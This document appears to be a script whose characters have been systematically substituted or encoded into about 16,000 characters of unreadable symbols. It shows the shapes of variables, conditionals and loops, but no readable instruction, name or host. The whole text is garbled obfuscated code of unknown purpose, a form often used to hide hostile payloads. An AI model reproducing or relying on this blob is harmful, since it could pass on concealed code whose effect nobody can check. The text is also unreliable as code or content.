wnwfnn+m{,C,o45'<<<<<<<x,./zd-spesvp{-xyj~uo45'<ryo.hrCjfe%)%45'<<<<<<<~$h)msCf$dCm{uwCepq45'<<<<<<{}wfdqlupql}$pi45'<~uuvv%,.mwzwqr(sl45'8}ol+},*lrqie!+*6/'8~quCx-j%(nhd(}!8}ol+},*lrqie1(%'<<<8z~v-++/}su<<!<<<<<w}ddlxzsuy-eh/m)m}45'<<<8sw$uowptputede<!<<x~/%(Comfd)%}.m)d.45'<<<<<8qCm%Cf*t-(xv%<<!<<<}nn}e45'<<<<zsny}t<<<<<48nj$e~$fq(l.skk$<<<<}o<<8rp,dwv$,y$5<<<g8wo/%}f*.esowhpy<<<!<<<48rp,dwv$,y$<<!!!<<<<8j(z{f-*x,z<<<2<<<~~t*pewxp%lxrp.4.,((5<<<<::<<<=8z~v-++/}su5<<``<4fe/qwoyysxh4.,/$548rp,dwv$,y$0<14*7$55<<<<<<!!!<~~t*pewxp%lxrp.4.,()5<<<<<<::<=8sw$uowptputede5'<<<<8e}wjw+pux~)nh.e.<<!<\u{n~xs$r(~%zo4.,/-548rp,dwv$,y$5'<uz<<<<48e}wjw+pux~)nh.e.5<<g36<ry{}hujy1xyzuruhy<vsinr}p<63<<<<<8qCm%Cf*t-(xv%G8rp,dwv$,y$A<<!<<<<<8e}wjw+pux~)nh.e.Gfe/qwoyysxh4.,/.5A<<<<2<<;`;<<2<8e}wjw+pux~)nh.e.Gu{n~xs$r(~%zo4.,//5A<2<48wo/%}f*.esowhpy<#<<fe/qwoyysxh4.,(*5<<<2<<<<<<fe/qwoyysxh4-$$.545<<&<<>>5'aa<zsny}t<48s~ul++jn+k<<<}o<<<8wye<<<<<!"<<8exi.jprw~m5<g<8w(jt*~kuq,duo<!<<~t}i,+e}lj.sl+rn4ukC/jmfl}em~f{4.,(+548wye0<<4,d(7,d-550<8exi.jprw~m5'<<uz<<48w(jt*~kuq,duo<<<!!!<<<;,;<<<<<<``<<<u{n~xs$r(~%zo4.,(+548w(jt*~kuq,duo0<<<<<1.5<!!!<<<<~~t*pewxp%lxrp.4.,($55<<8w(jt*~kuq,duo<<2!<<u{n~xs$r(~%zo4.,(%5<<<2<u{n~xs$r(~%zo4-$$.545'8qCm%Cf*t-(xv%G8wyeA<<!<<<8w(jt*~kuq,duo'<a<<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4.,/,50<8qCm%Cf*t-(xv%0<<<<<ukC/jmfl}em~f{4.,-/55'<<<<<<<<a<zur}ppe<g<<<{)o/t%q}.s~%uen4fe/qwoyysxh4$,-55'<<<<<<a<a<}ht<<<4Htnsk}~py<<<<8phr-l)~h-C.5<<g<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4.,),50<<8phr-l)~h-C.5'<<<a<}ht<<<<<4Ydylhusr<8phr-l)~h-C.5<<<<<<g<<a<a<zirhusr<<<<~t}i,+e}lj.sl+rn48rp,dwv$,y$0<<<<8exi.jprw~m5<g8e}wjw+pux~)nh.e.<<<!<<\u{n~xs$r(~%zo4.,/-548rp,dwv$,y$5'<<<uz<<<4=8e}wjw+pux~)nh.e.5<<nyhinr<<<<;,;'8x+Cw.-C-y{i<!<<8e}wjw+pux~)nh.e.Gfe/qwoyysxh4.,/.5A<<<<2<<;`;<<<<<2<<8e}wjw+pux~)nh.e.G~~t*pewxp%lxrp.4.,//5A'<<<<<uz<48e}wjw+pux~)nh.e.Gu{n~xs$r(~%zo4.,/.5A<<"<4-,($)).7.(55<<<nyhinr<<<<<<~~t*pewxp%lxrp.4.,)-5<<<<<<2<8x+Cw.-C-y{i'<8uqo.{zlt,,<<!<<\~~t*pewxp%lxrp.4.,).548rp,dwv$,y$5'<<nyhinr<<8x+Cw.-C-y{i<<<<2<<<<;`;<<<<<<2<<44ukC/jmfl}em~f{4.,.)548uqo.{zlt,,5<<::<<~~t*pewxp%lxrp.4.,,/548uqo.{zlt,,0<8exi.jprw~m5<=!!<<z}poy5<<<#<<<;-;<<&<<<;,;5'a<<<<zirhusr<<n$+dedjjoqpjmwqCf~/,%45<g<<<<<<8Clj<<!<<~~t*pewxp%lxrp.4.,(.54ukC/jmfl}em~f{4-$)*55<#<<{yhCslhusr4u{n~xs$r(~%zo4.-(50<<<<<>>5<<<&<>>'<<<<<<<rsC*+(o{Ctt/wpssi{/45'<<8Cuymxhdr(uui)<<!<<<ukC/jmfl}em~f{4.,(.54~~t*pewxp%lxrp.4-$)*55<#<<<{yhCslhusr4ukC/jmfl}em~f{4.-(50<<<>>5<&<<<<>>'<<uz<48Cuymxhdr(uui)<<!!!<<<<<<8Clj5<<\xypyhyCslhusr4ukC/jmfl}em~f{4.-(55'a<zirhusr<<<rsC*+(o{Ctt/wpssi{/45<<<g8tqfjty*%u!-`-,+'8zn-susre}m!8tqfjty*%uB-*'hne<<<g<<<<<<<uz<<<<<<4=xyzuryx4ukC/jmfl}em~f{4-%-+555<<<<<nyhinr'<<8j(z{f-*x,z<<<<!<iex.+md$,oiqx$jhi%z}45'8hhs)r./)!LTLCURHCQ]D3LTLCURHCQ]D'8{)m(.y-{)!8hhs)r./)7-.'<<<8y*v-wiyf}yrnz<!<<<kqhhzsemj.~r~$/{$u45'<8mz$({z$l%*z(tnn<<<<!<<<<<soyll~yypdn%it4]^OL]HT<2<u{n~xs$r(~%zo4-*-)50<<<<<4/7)55<<2<<<u{n~xs$r(~%zo4-/.$5'<<<<8pujCxu$(l<<<<!<<soyll~yypdn%it4]^OL]HT<<<<2<<<u{n~xs$r(~%zo4.,)/50<<4-/1)55<<2<<~~t*pewxp%lxrp.4.,)(5'8~y~++{jzyx<<<<!<<soyll~yypdn%it4]^OL]HT<<<<<<2<<ukC/jmfl}em~f{4.,.*50<<<4-7+55<2<<<<<u{n~xs$r(~%zo4.,)(5'<<<8v}mm,l/w+$$}q<<<<<!<<<soyll~yypdn%it4]^OL]HT<2<<<fe/qwoyysxh4-/+%50<<<<4,d(7,d(55<2<<fe/qwoyysxh4.,))5'<<<<<8mwish{)~qtwd~l<!<<soyll~yypdn%it4]^OL]HT<2<<<<~~t*pewxp%lxrp.4-(,-50<<4,d(7,d(55<2<fe/qwoyysxh4.,))5'<<<8derv(o/sk(o$,<<<!<<<~~t*pewxp%lxrp.4-*(*5<<2<<<<<soyll~yypdn%it4]^OL]HT<<2<<<<;{;0<<4-  /55'<<<8j.x/zCo--ruh{<<<<!<<}nn}e48j(z{f-*x,z<<2<<u{n~xs$r(~%zo4.,)*5<<!"<<ukC/jmfl}em~f{4%.(508j(z{f-*x,z<<2<u{n~xs$r(~%zo4.,((5<<<<<!"<<<<fe/qwoyysxh4.,)+50<5'<zsny}t<<<48j.x/zCo--ruh{<<}o<<8rp,dwv$,y$<<!"<<8lnyzud5<<g<<<uz<4=\fe/qwoyysxh4.,(-548rp,dwv$,y$55<<<srhuriy'8uqo.{zlt,,<<<<!<<\~~t*pewxp%lxrp.4.,)$548rp,dwv$,y$5'<<<<uz<48uqo.{zlt,,<<<!!!<<z}poy5<<srhuriy'<8pnf(i}n}h(t.yd<!<<~~t*pewxp%lxrp.4%.%5<<<2<<<<<8lnyzud<<<<<2<<<u{n~xs$r(~%zo4%/,5<2<<<<8lnyzud<<<2<<<ukC/jmfl}em~f{4%/-5'<<<<8q~wf~C+f-,C~r<<<!<<<fe/qwoyysxh4.,)%548pnf(i}n}h(t.yd0<<>>0<8uqo.{zlt,,5'<<<uz<<<<48q~wf~C+f-,C~r<<=!!<8uqo.{zlt,,5<o~mz~fi/(/rr)jo-dvudl48rp,dwv$,y$0<8q~wf~C+f-,C~r5'<<<<<<a<8ot(vfxh-)o*<<!<<<<8j(z{f-*x,z<2<<<u{n~xs$r(~%zo4)+$5'<<<uz<<4\ukC/jmfl}em~f{4.,(-548ot(vfxh-)o*55<<g<<8ryx{{e}+}%<<<!<<\ukC/jmfl}em~f{4.,*,548ot(vfxh-)o*5'<<<<uz<4~~t*pewxp%lxrp.4.,.)548ryx{{e}+}%5<<<::<<8ryx{{e}+}%<<<<<=!!<<>>5<<<<<g<uz<<<<<<4~~t*pewxp%lxrp.4.,/(54~~t*pewxp%lxrp.4.,*-50<<<fe/qwoyysxh4.,*.548ryx{{e}+}%0<,0<<4.)/7(+555<<<<<``<<<fe/qwoyysxh4.,*/548ryx{{e}+}%0<<<<~~t*pewxp%lxrp.4-)),55<!!!<,5<<<g<<mmhy/nCplvkizofojuy48ot(vfxh-)o*0<<<<4(-.7$55'<uepno,inmjey/mr48ot(vfxh-)o*5'<a<ypoy<g33<oynu}puf}~py<hn}rozsnqyn8}$ir)$k}~vxo<!<fe/qwoyysxh4.,)%54~~t*pewxp%lxrp.4.,*(50<<>>0<<8ryx{{e}+}%5'<<<<<<<uz<4~~t*pewxp%lxrp.4.,.)548}$ir)$k}~vxo5<<<::<<<<8}$ir)$k}~vxo<<=!!<<8ryx{{e}+}%5<<<o~mz~fi/(/rr)jo-dvudl48ot(vfxh-)o*0<<<<8}$ir)$k}~vxo5'<iroyh48}$ir)$k}~vxo5'<<<<a<<<<airoyh48ryx{{e}+}%5'8jee(.y-)hdx!--$`(.'8{~(.k%dj~mCvh!8jee(.y-)hdxB-,('a<8l{,u%~-~*x<!<<<<ukC/jmfl}em~f{4-%-/54n-*%o%~y,f,/qj,455<<<<<2<<<<<~~t*pewxp%lxrp.4-(.5'8~Clxy)mfCq!4,d.)7,d+-5'8}{~olv)$!8~Clxy)mfCq9-.'<<<<8hi(vt}t-sx$yu}w<<<<<<!<<<xyzuryx4ukC/jmfl}em~f{4-%+$55<<<<#<KLC_SRHYRHCXUN<<2<<ukC/jmfl}em~f{4.,*)5<<<&<<8l{,u%~-~*x'<<<<8dCy,uq}*,ykdy<!<<<}nn}e4<<<<8j(z{f-*x,z<<<<<<2<;3;<<2<<<<8mz$({z$l%*z(tnn0<<<<<8j(z{f-*x,z<<2<<;3;<<2<8pujCxu$(l08j(z{f-*x,z<<<2<<<;3;<<2<8~y~++{jzyx08y*v-wiyf}yrnz<<<<2<<<;3;<2<<8v}mm,l/w+$$}q0<8y*v-wiyf}yrnz<2<<<;3;<2<<<8mwish{)~qtwd~l0<8y*v-wiyf}yrnz<<2<<<<<<;3;<<<2<8pujCxu$(l0<<<<<<8y*v-wiyf}yrnz<2<;3;<<2<<<<<8~y~++{jzyx0<8l{,u%~-~*x<2<<<<<;3;<<2<<8v}mm,l/w+$$}q0<<<<<8l{,u%~-~*x<2<<<<;3;<<<2<<<8mwish{)~qtwd~l0<<<<8l{,u%~-~*x<<<2<;3;<<2<<<8pujCxu$(l0<<<<<<<8l{,u%~-~*x<<<<2<<<;3;<<<2<<<<8~y~++{jzyx0<<<<<8hi(vt}t-sx$yu}w<2<<<;3;<<<<2<<<<8v}mm,l/w+$$}q0<<8hi(vt}t-sx$yu}w<<2<<;3;<<2<<<<<8mwish{)~qtwd~l0<<<<<<8hi(vt}t-sx$yu}w<<<2<;3;<2<<8pujCxu$(l0<8hi(vt}t-sx$yu}w<2<;3;<<2<8~y~++{jzyx0<<5'<<<<<<8hC(,nkzmtm.h.e<<!<<puk{lq(o/k./C(yl45'<<8dCy,uq}*,ykdyGA<<!<<8hC(,nkzmtm.h.eG-A'<8dCy,uq}*,ykdyGA<<<<<<!<<8hC(,nkzmtm.h.eG-A<<2<u{n~xs$r(~%zo4-++.5'<iroyh48hC(,nkzmtm.h.e5'<<<<uz<4ukC/jmfl}em~f{4.,(.54~~t*pewxp%lxrp.4-%%+555<g<<zsny}t<<<44}nn}e5<<<\u{n~xs$r(~%zo4-%%+548j(z{f-*x,z<<<2<u{n~xs$r(~%zo4.,**5<<<<2<<<8mz$({z$l%*z(tnn5<<<<<}o<<<<<8t*))*$%e%(Cq%,5<<<8dCy,uq}*,ykdyGA<<!<8t*))*$%e%(Cq%,'<zsny}t<<44}nn}e5<<\u{n~xs$r(~%zo4.,*+548j(z{f-*x,z<2<<<<fe/qwoyysxh4.,*$5<<2<<<8mz$({z$l%*z(tnn5<}o<8t*))*$%e%(Cq%,5<<<<8dCy,uq}*,ykdyGA<<<!<<<8t*))*$%e%(Cq%,'zsny}t<<44}nn}e5<\ukC/jmfl}em~f{4.,*+54]^OL]HT<2<<<<<~~t*pewxp%lxrp.4.,*%5<2<<8derv(o/sk(o$,<2<<u{n~xs$r(~%zo4/-.55<<}o<<<<<<8p$lv}+$s*$(p/5<8dCy,uq}*,ykdyGA<!<<<8p$lv}+$s*$(p/'zsny}t<<<44}nn}e5<<<\~~t*pewxp%lxrp.4.,*+548j(z{f-*x,z<<<<2<<<<<;3;<<<<<2<8derv(o/sk(o$,<<<2<u{n~xs$r(~%zo4/-.55<<}o<<<8p$lv}+$s*$(p/5<<<8dCy,uq}*,ykdyGA<!<<<8p$lv}+$s*$(p/'8pC.*k}p)m~,f!LTLCQ]VSNCJYNOUSR'8},**xl/d!8pC.*k}p)m~,f6-,'zsny}t<<<44}nn}e5<\fe/qwoyysxh4.,*+548y*v-wiyf}yrnz<2<;3;<2<<8derv(o/sk(o$,<<2<<<<u{n~xs$r(~%zo4/-.55<<}o<<<<8p$lv}+$s*$(p/5<<8dCy,uq}*,ykdyGA<<<<!<<8p$lv}+$s*$(p/'zsny}t<<<<<44}nn}e5<<\u{n~xs$r(~%zo4.,*+548l{,u%~-~*x<<<<2<;3;<<<2<<8derv(o/sk(o$,<2<<fe/qwoyysxh4/-.55<<}o<<<8p$lv}+$s*$(p/5<<<8dCy,uq}*,ykdyGA<<<<!<<<<8p$lv}+$s*$(p/'zsny}t<44}nn}e5<<\~~t*pewxp%lxrp.4.,+,548hi(vt}t-sx$yu}w<<<<2<<<<;3;<2<<<<8derv(o/sk(o$,<2<<<<<<ukC/jmfl}em~f{4.,+-55<<<}o<8p$lv}+$s*$(p/5<<8dCy,uq}*,ykdyGA<<<!<<8p$lv}+$s*$(p/'<<a8te%+nzt/.rknedC%<!<<<soyll~yypdn%it4]^OL]HT<<2<;{;0<4-7+55'<<8ClrCq-j$op/<!<<<<<}nn}e4]^OL]HT<<<<2<<<<~~t*pewxp%lxrp.4.,+.50<<<<8j(z{f-*x,z0<<<<8y*v-wiyf}yrnz0<<8l{,u%~-~*x0<<<<<<8hi(vt}t-sx$yu}w5'<<<<<zsny}t<<48ClrCq-j$op/<<}o<<<8C{x5<<<<<g33<KsnxLnyoo<*2/<sqq}rxo&<lsouhujy1xyzuruhy<ultyn1oiuhy<<<uz<<4\ukC/jmfl}em~f{4-%$.548C{x5<::<<<\~~t*pewxp%lxrp.4-%/*548C{x55<<h/%vx~m.md,~u+.r+is%}48C{x<<2<ukC/jmfl}em~f{4.,+/5<<<2<<<<8te%+nzt/.rknedC%0<<k{~w}fh$fk{*s}r}*k/z+h450<ukC/jmfl}em~f{4.,+(55'<<a<<<<<uz<<<<<<4~~t*pewxp%lxrp.4.,+)54fe/qwoyysxh4.,+*555<<gzsny}t<48ClrCq-j$op/<}o<<<8C{x5<<<<<g<<<zsny}t<<4}nn}e4fe/qwoyysxh4.,++50<ukC/jmfl}em~f{4.,+$50<fe/qwoyysxh4.,+%50<<<ukC/jmfl}em~f{4.,$,50<<<<~~t*pewxp%lxrp.4.,$-50<<<<ukC/jmfl}em~f{4.,$.50<<u{n~xs$r(~%zo4.,$/50<<<fe/qwoyysxh4.,$(50<ukC/jmfl}em~f{4.,$)55<<}o<<8w{dx%jttji({5<<<g8vfljez-d}{~)f!4,d*,7,d%y5'8vh-y$q}oy!8vfljez-d}{~)f9)'zsny}t<44}nn}e5<\~~t*pewxp%lxrp.4.,+*548C{x<<2<;3;<<2<<8w{dx%jttji({<<2<<<;6;5<}o<<8x*npmhh*mmquzru5<<<<8dCy,uq}*,ykdyGA<<!<8x*npmhh*mmquzru'a<<<<zsny}t<<<44}nn}e5<<\~~t*pewxp%lxrp.4.,+*548C{x<<<<2<<<ukC/jmfl}em~f{4.,$*55<}o<<<<<<8er.kyyyhh}ro}s}5<8dCy,uq}*,ykdyGA<!<<8er.kyyyhh}ro}s}'<<a<<airoyh48te%+nzt/.rknedC%0<<<<8ClrCq-j$op/0<8C{x0<8w{dx%jttji({0<8x*npmhh*mmquzru0<<<<8er.kyyyhh}ro}s}5'<<<8xd$%w$qwo,m/v/Cx<<<!<<<<<<}nn}e4]^OL]HT<<2<<fe/qwoyysxh4.,$+50<<<<8j(z{f-*x,z<2<~~t*pewxp%lxrp.4.,..55'<<zsny}t<<<<<<48xd$%w$qwo,m/v/Cx<<}o<<<8weqwxx(*dh*)5<guz<<<<4=\fe/qwoyysxh4.,(-548weqwxx(*dh*)55<<<<srhuriy'<<8uqo.{zlt,,<<<<<!<<<<<<\~~t*pewxp%lxrp.4.,$$548weqwxx(*dh*)5'8i$f-~sr$!))6.'8dtfoqp(om.!8i$f-~sr$1./'<<<uz<<<48uqo.{zlt,,<<::<<~~t*pewxp%lxrp.4.,*/548uqo.{zlt,,0<<ukC/jmfl}em~f{4.,$%55<=!!<<<z}poy5<<<<g<<<<<8uqo.{zlt,,<!<<~~t*pewxp%lxrp.4.,)%54u{n~xs$r(~%zo4.,%,5<<2<<<<~~t*pewxp%lxrp.4-(-,548pujCxu$(l0<<;3;5<<2<u{n~xs$r(~%zo4--)*50<<>@r>0<8uqo.{zlt,,5'<<<<<<<uz<<<4~~t*pewxp%lxrp.4.,.)548uqo.{zlt,,55<<<<<g8uqo.{zlt,,<<<<<!<fe/qwoyysxh4.,)%54ukC/jmfl}em~f{4--)+5<<<<<2<ukC/jmfl}em~f{4-(-,548pujCxu$(l0<<<<;3;5<2<<~~t*pewxp%lxrp.4.,%-50<<<<>@r>0<8uqo.{zlt,,5'<<a<<<<uz<<4ukC/jmfl}em~f{4.,.)548uqo.{zlt,,55<g<8uqo.{zlt,,<<!<ukC/jmfl}em~f{4.,)%54~~t*pewxp%lxrp.4.,%.5<<2<<<<ukC/jmfl}em~f{4-(-,548pujCxu$(l0<<<<<<;3;5<<<<2<<fe/qwoyysxh4.,%/50<<<>@r>0<<8uqo.{zlt,,5'8{nClht/fyx.ul!),*)'8kx+seuy{h!8{nClht/fyx.ul9/'a<uz<<4~~t*pewxp%lxrp.4.,%(548uqo.{zlt,,55<o~mz~fi/(/rr)jo-dvudl48weqwxx(*dh*)0<<<8uqo.{zlt,,5'<<<<a<<<<<<a<<8n$q,{n%{*<<!<]^OL]HT<<2<<<<u{n~xs$r(~%zo4.,%)5'<<<uz<4=\~~t*pewxp%lxrp.4.,%*548n$q,{n%{*55<<<g<8yiwpq(w(hhCz,<<!<<<fe/qwoyysxh4.,%+54]^OL]HT5<2<<ukC/jmfl}em~f{4.,%$5'<<<<uz<<<4\ukC/jmfl}em~f{4.,%*548yiwpq(w(hhCz,55<8n$q,{n%{*<<!<8yiwpq(w(hhCz,'<a<<uz<<4\u{n~xs$r(~%zo4.,%*548n$q,{n%{*5<::<<\ukC/jmfl}em~f{4-%/*548n$q,{n%{*55<<<<g<8Ck<!<<<\ukC/jmfl}em~f{4.,$$548n$q,{n%{*5'8n$,ylr}uwsuy,!%+,,'8nh(u~iwzt!8n$,ylr}uwsuy,9-/'uz<<<<4fe/qwoyysxh4.,%(548Ck5<::<<<ukC/jmfl}em~f{4.,*/548Ck0<~~t*pewxp%lxrp.4.,%%55<<=!!<<<<<z}poy5<g<<<8k$Crl%x/,%i-tvz<<!<<fe/qwoyysxh4.-,,54fe/qwoyysxh4.-,-50<<>>0<<<<8Ck5'<uz<4u{n~xs$r(~%zo4.,%(548k$Crl%x/,%i-tvz5<<<<<::<<<<<8k$Crl%x/,%i-tvz<<=!!<<<8Ck<<<::<<<<<<jfx)rnxu%,mC+~f~i48k$Crl%x/,%i-tvz55<<<<<<g<<8h$xd$umqz}f<!<\ukC/jmfl}em~f{4.-,.548n$q,{n%{*5'<uz<<<<4o~mz~fi/(/rr)jo-dvudl48n$q,{n%{*0<<8k$Crl%x/,%i-tvz5<::<<<<<8h$xd$umqz}f5<<\fe/qwoyysxh4.-548n$q,{n%{*0<<8h$xd$umqz}f5'a<iroyh48k$Crl%x/,%i-tvz0<<8h$xd$umqz}f5'<<airoyh48Ck5'<airoyh48n$q,{n%{*0<<8yiwpq(w(hhCz,5'<<8njssoC%n-Ctsmi$/<<<!<<fe/qwoyysxh4.,+)54~~t*pewxp%lxrp.4-($/55<<#<<<<<<\fe/qwoyysxh4-($/54u{n~xs$r(~%zo4.-,/55<&<<<z}poy'uz<<4=8njssoC%n-Ctsmi$/<``<8njssoC%n-Ctsmi$/<<<<<<!!!<<<>>5<<<<<8njssoC%n-Ctsmi$/<!<<<u{n~xs$r(~%zo4.-,(5'<8~f+{-x~n$i,{qo,<!<<}nn}e4]^OL]HT<<2<8njssoC%n-Ctsmi$/0<<8j(z{f-*x,z<<<<<2<;3;<<<<2<<<<8njssoC%n-Ctsmi$/5'<<zsny}t<<48~f+{-x~n$i,{qo,<}o<8y})tv$v/%-xh5<<<<<g<<uz<<<4=\~~t*pewxp%lxrp.4.,%*548y})tv$v/%-xh55<<<srhuriy'<<<<<8uqo.{zlt,,<!<\~~t*pewxp%lxrp.4.-,)548y})tv$v/%-xh5'uz<<<<<48uqo.{zlt,,<<<<<::<ukC/jmfl}em~f{4.,*/548uqo.{zlt,,0<<<<fe/qwoyysxh4.,$%55<<=!!<<<z}poy5<<<g<<<<<<8uqo.{zlt,,<<!<fe/qwoyysxh4.-,*54u{n~xs$r(~%zo4.-,+5<2<<<<<fe/qwoyysxh4.-,$548~y~++{jzyx0<<<<;3;5<<2<ukC/jmfl}em~f{4.-,%50<<<>>0<8uqo.{zlt,,5'<<<<<<uz<4fe/qwoyysxh4.,%(548uqo.{zlt,,55<o~mz~fi/(/rr)jo-dvudl48y})tv$v/%-xh0<<8uqo.{zlt,,5'aa<<<<<8vk+n}ysf~({vww<<<!<<<<<}nn}e4<<8j(z{f-*x,z<<2<<<;3;<<<<2<<8~y~++{jzyx0<<<<<8y*v-wiyf}yrnz<<<2<<;3;<<2<<<8~y~++{jzyx0<<<<<8l{,u%~-~*x<2<<<<<;3;<<2<<8~y~++{jzyx0<<<<5'<<<<8le%ho+sk+/~*<<!<<<<<<fe/qwoyysxh4.--,548dCy,uq}*,ykdy0<<<8vk+n}ysf~({vww5'<<<<<zsny}t<<<<<48vk+n}ysf~({vww<<<<}o<<8xy.mqs-}zqq~+l5<<<g<uz<<<<<4\u{n~xs$r(~%zo4.---548xy.mqs-}zqq~+l55<g<<<<<mmhy/nCplvkizofojuy48xy.mqs-}zqq~+l0<<<4*(+1..+55'<<<o~mz~fi/(/rr)jo-dvudl48xy.mqs-}zqq~+l0<ukC/jmfl}em~f{4-*,.55'<<<<<aa<zsny}t<48le%ho+sk+/~*<}o<<<<8xy.mqs-}zqq~+l5<guz<4\~~t*pewxp%lxrp.4.---548xy.mqs-}zqq~+l55<<g<mmhy/nCplvkizofojuy48xy.mqs-}zqq~+l0<4/.(7%*55'uepno,inmjey/mr48xy.mqs-}zqq~+l5'a<<a<<<<zsny}t<<<<4zk/qv.s+/pv)vj45<<<<}o<8sqh{Cz/yu}mh5<<<guz<4=\ukC/jmfl}em~f{4.---548sqh{Cz/yu}mh5<<<<<``<<<=\ukC/jmfl}em~f{4-%/*548sqh{Cz/yu}mh55<srhuriy'<8uqo.{zlt,,<!<\~~t*pewxp%lxrp.4.-,)548sqh{Cz/yu}mh5'<<<<<uz<4~~t*pewxp%lxrp.4.,%(548uqo.{zlt,,55<<g<<<<<<<8vhv~v~$urzx%m/iC<!<<<<uxinkfyr%(hd-dw/dd48uqo.{zlt,,0<ukC/jmfl}em~f{4.--.50<<<fe/qwoyysxh4.--/55'8vhv~v~$urzx%m/iC<<!<<<uxinkfyr%(hd-dw/dd48vhv~v~$urzx%m/iC0<u{n~xs$r(~%zo4.--(50<<<ukC/jmfl}em~f{4.--/55'<uz<<4fe/qwoyysxh4.,%(548vhv~v~$urzx%m/iC5<::<<<<<<8vhv~v~$urzx%m/iC<<<=!!<<<<8uqo.{zlt,,5<<<o~mz~fi/(/rr)jo-dvudl48sqh{Cz/yu}mh0<<<8vhv~v~$urzx%m/iC5'<<<<<<<iroyh48vhv~v~$urzx%m/iC5'<<<<<a<a<<<uz<<<4u{n~xs$r(~%zo4.,+)54fe/qwoyysxh4-)%(55<<<<::<<<<<~~t*pewxp%lxrp.4.,+)54u{n~xs$r(~%zo4.--)555<<<<<<g<<<<8wye<<<!<<<n}wnCCk~idjzpis$45'<uz<48wye<=!!<<<z}poy5<g<<<<8C}j/C$qtfxt+C)z<<!<<<<\ukC/jmfl}em~f{4-)%(548wye0<<<<;k;0<<,0<<,5'<<<uz<<<<48C}j/C$qtfxt+C)z5<<g<\~~t*pewxp%lxrp.4.--*548C}j/C$qtfxt+C)z5'<<<<\ukC/jmfl}em~f{4-)$%548C}j/C$qtfxt+C)z5'<<<a<<<<<a<<<<<<a<<<<uz<<4fe/qwoyysxh4.,+)54~~t*pewxp%lxrp.4.,,*555<<g<<<<<8moki.)u~pk<<!<<<soyll~yypdn%it4]^OL]HT<2<fe/qwoyysxh4.,,$50<4*7(55'<\xypyhyCslhusr48moki.)u~pk5'8tCiz{%d//~o(<!<<<<ukC/jmfl}em~f{4.--+54fe/qwoyysxh4.--$55<<<<<#<\{yhCslhusr4~~t*pewxp%lxrp.4.--%50<}nn}e455<&<<<<}nn}e45'uz<<<4fe/qwoyysxh4.-.,548tCiz{%d//~o(55<<g<<<uz<<<<4uooyh48tCiz{%d//~o(G;~;A55<uepno,inmjey/mr48tCiz{%d//~o(G;~;A5'<<uz<4uooyh48tCiz{%d//~o(G~~t*pewxp%lxrp.4.-.-5A5<<<::<<<<ukC/jmfl}em~f{4.-..548tCiz{%d//~o(G~~t*pewxp%lxrp.4.-.-5A55<<gzsny}t<<<48tCiz{%d//~o(GukC/jmfl}em~f{4.-./5A<<<}o<<<8Cu5<<<g<<<uz<4fe/qwoyysxh4.-..548Cu5<::<<uooyh48CuG;~;A55<<<<uepno,inmjey/mr48CuG;~;A5'<a<a<<a<<<<<<\xypyhyCslhusr4ukC/jmfl}em~f{4.--%55'<<\xypyhyCslhusr4ukC/jmfl}em~f{4-$$+55'<<\xypyhyCslhusr4fe/qwoyysxh4.-.(55'\xypyhyCslhusr4u{n~xs$r(~%zo4-),,55'<<<<<<\xypyhyCslhusr4fe/qwoyysxh4.-.)55'<<<<<\xypyhyCslhusr4u{n~xs$r(~%zo4-(*,55'<<<<\xypyhyCslhusr4fe/qwoyysxh4-((%55'<\xypyhyCslhusr4u{n~xs$r(~%zo4-(*-55'<<<iroyh48tCiz{%d//~o(0<<<8Cu5'<<<<<a33<KL<Zsrh<Pu~n}ne<h}dsrsqe<ny{uohn}husruz<4~~t*pewxp%lxrp.4.--+54fe/qwoyysxh4$%,555<<<g<<<<<<<<\xypyhyChn}rouyrh4u{n~xs$r(~%zo4.-.*55'\xypyhyChn}rouyrh4ukC/jmfl}em~f{4.-.+55'<<\xypyhyChn}rouyrh4}-oonC{%u+))f+uw,om455'a<uz<<<<4~~t*pewxp%lxrp.4.-.$54u{n~xs$r(~%zo4.-.%555<<<<<g\klCpy}nCotyxipyxCtssw4u{n~xs$r(~%zo4.-/,55'8z+~jphin/xmkl*!-%)`.).'8tymndh$utmr{o!8z+~jphin/xmkl*B-%'<\klCpy}nCotyxipyxCtssw4u{n~xs$r(~%zo4.-/-55'<\klCpy}nCotyxipyxCtssw4frk.q,f+mknj.$y455'<<<<<a<<<<a<}ht<<<4Htnsk}~py<<<8phr-l)~h-C.5<<<<<<g<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4.-/.50<8phr-l)~h-C.5'a<<<<}ht<4Ydylhusr<8phr-l)~h-C.5<<ga<<azirhusr<<w}ddlxzsuy-eh/m)m}45<<<g<<<hne<guz<4=xyzuryx4fe/qwoyysxh4-%-+555<<<nyhinr<<<<z}poy'8j(z{f-*x,z<!<<<iex.+md$,oiqx$jhi%z}45'<8qf(svwsip(<!<<<8j(z{f-*x,z<2<<<u{n~xs$r(~%zo4.,((5'<<8xjm.m}lvkvjf,e<<!<<<<ukC/jmfl}em~f{4-%%)54n-*%o%~y,f,/qj,450<<fe/qwoyysxh4.-//55'<<8lp,tkv(-p{red<<<<!<<<<yfdderdjunq.-.k45'<uz<<4=8lp,tkv(-p{red<<<``<<ukC/jmfl}em~f{4-%,.548lp,tkv(-p{red5<<<< <<<<<<4(+*7.(5<<<<<``<<ukC/jmfl}em~f{4.-/(548lp,tkv(-p{red5<<<<"<4,d)yyx-7,d}--.z5<<``<<~-n{n.-eq)~tm)hy%f*-48lp,tkv(-p{red5<``<<=jfx)rnxu%,mC+~f~i48lp,tkv(-p{red55<<<nyhinr<<<z}poy'8innyrh<!<\fe/qwoyysxh4-),(548qf(svwsip(5<<<#<\ukC/jmfl}em~f{4.-,)548qf(svwsip(5<<<&<<<<>>'<<<<uz<<<<4=fe/qwoyysxh4.,%(548innyrh55<<g<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4+/-50<ukC/jmfl}em~f{4-((.55'<<<<<<<<nyhinr<z}poy'<<<a<<<<<<8innyrh<<<<!<vkC$uou+iut)vwv(+y48innyrh5'8vj-+x)svnhreer<!<<k{~w}fh$fk{*s}r}*k/z+h45<<<<<2<<<<;&;<<<<2<soyll~yypdn%it4]^OL]HT<2<<<<ukC/jmfl}em~f{4.-/)50<4,d-7,d+55'<<<8onmq{C.,imr%f*qw<!<<<ukC/jmfl}em~f{4.-/*5<<2<<<8vj-+x)svnhreer<<<<<<2<~~t*pewxp%lxrp.4-*.+5'8q-/$trd%n}<<<!<<<<ukC/jmfl}em~f{4.-/+5<<<2<<<<<8vj-+x)svnhreer<<<2<~~t*pewxp%lxrp.4-*.+5'<<<<<8}xj+%lr%vmqt<<<<<<!<<so